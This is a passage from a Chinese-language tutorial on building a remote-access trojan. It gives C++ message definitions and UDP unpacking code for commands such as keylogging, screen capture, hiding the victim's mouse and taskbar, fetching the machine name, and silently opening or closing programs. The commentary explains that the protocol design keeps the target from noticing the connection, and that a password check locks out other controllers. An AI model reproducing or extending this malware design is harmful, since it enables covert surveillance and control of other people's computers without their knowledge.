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//int SNum; //消息操作号 char *AllMsg;
}SMsg;
#define SMsgLen sizeof(SMsg)
#define MSGListProgram 19
#define MSGFlyMouse 21
#define MSGGoWithMouse 22
#define MSGSaveKey 23
#define MSGTracekey 24
#define MsgCopyScreen 25tcp接收消息,udp请求消息
#define MSGCopyWindow 26
//-------------------------
//鼠标指针隐藏和显示控制
//-------------------------
#define MsgSetMouseStat 27//设置消息
#define MsgMouseStat 28//成功消息
typedef struct{
bool mouseshow;
}MsgSetMouseStatUint;
#define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint)
//-------------------------
//任务栏隐藏和显示控制
//-------------------------
#define MsgSetTaskBarStat 29//设置消息
#define MsgTaskBarStat 30//成功消息
typedef struct{
bool taskshow;
}MsgSetTaskBarStatUint;
#define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint)
//-------------------------
//得到机器名
//-------------------------
#define MsgGetNetBiosName 31//取请求
#define MsgNetBiosName 32//回送机器名
typedef struct{
char NetBiosName[128];
}MsgNetBiosNameUint;
#define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)
//-------------------------
//关闭进程变更!
//-------------------------
#define MsgSetProgramClose 33//关闭请求
#define MsgProgramClosed 34//成功消息-----
typedef struct{
char ProgramName[4096];//old struct : char ProgramName[128];//要关闭的窗口的名字
}MsgSetProgramCloseUint;
#define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)
//-------------------------
//打开进程变更!
//-------------------------
#define MsgSetProgramOpen 20//打开请求
#define MsgProgramOpened 36//成功消息
typedef struct{
char ProgramName[4096]; //old struct : char ProgramName[128];//要打开的程序的名字
bool ProgramShow;//前台运行或后台运行程序(隐藏运行)
}MsgSetProgramOpenUint;
#define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)
#define MsgGetHardWare 35//请求硬件信息(UDP消息)和回传硬件信息(TCP消息)
上面一段定义,使用了TCP和UDP两种协议目的就是为了减少TCP连接的几率,这样所消耗的系统资源就会比较少,不容易让目标机察觉。很多木马程序中,都有像上面定义中类似的密码定义,目地是为了防止非真实客户机的连接请求。SNum 为消息操作号,它的作用是为了效验数据是否是发送过的,经过分析而知,我们熟悉的OICQ也正是使用了这一办法来校验消息的。
数据协议组织好,还有一步工作,就是数据的打包发送,一般的方法是把全部数据压为一个VOID类型的数据流,然后发送:
Msg *msg=new Msg;
TMemoryStream *RData=new TMemoryStream;
NMUDP1->ReadStream(RData);
RData->Read(msg,sizeof(Msg));
UdpConnect *udpconnect=new UdpConnect;
NetBiosName *netbiosname=new NetBiosName;
if(msg->CNum==CNumBak)
return;
else{
CNumBak=msg->CNum;
switch(msg->Type)
{
case 0://MsgUdpConnect
RData->Read(udpconnect,sizeof(UdpConnect));
checkuser(udpconnect->IsRight);
break;
case 1:
RData->Read(netbiosname,sizeof(NetBiosName));
AnsiString jqm="机器名 ";
jqm+=(AnsiString)netbiosname->NetBiosName;
Memo2->Lines->Add(jqm);
break;
}
}
当服务器端收到数据后,首先要做的工作是解包还原VOID流为结构化的协议,这里同样给出事例代码:
NMUDP1->RemoteHost=FromIP;
NMUDP1->RemotePort=Port;
TMemoryStream *RData=new TMemoryStream;
NMUDP1->ReadStream(RData);
Msg *msg=new Msg;
RData->Read(msg,sizeof(Msg));
if(msg->CNum==CNumBak)
return;
else
{
CNumBak=msg->CNum;
switch(msg->Type)
{
case 0:
checkuser(msg->Password);
break;
case 1:
GetNetBiosName();
break;
case 2:
CheckHard();
break;
}
}
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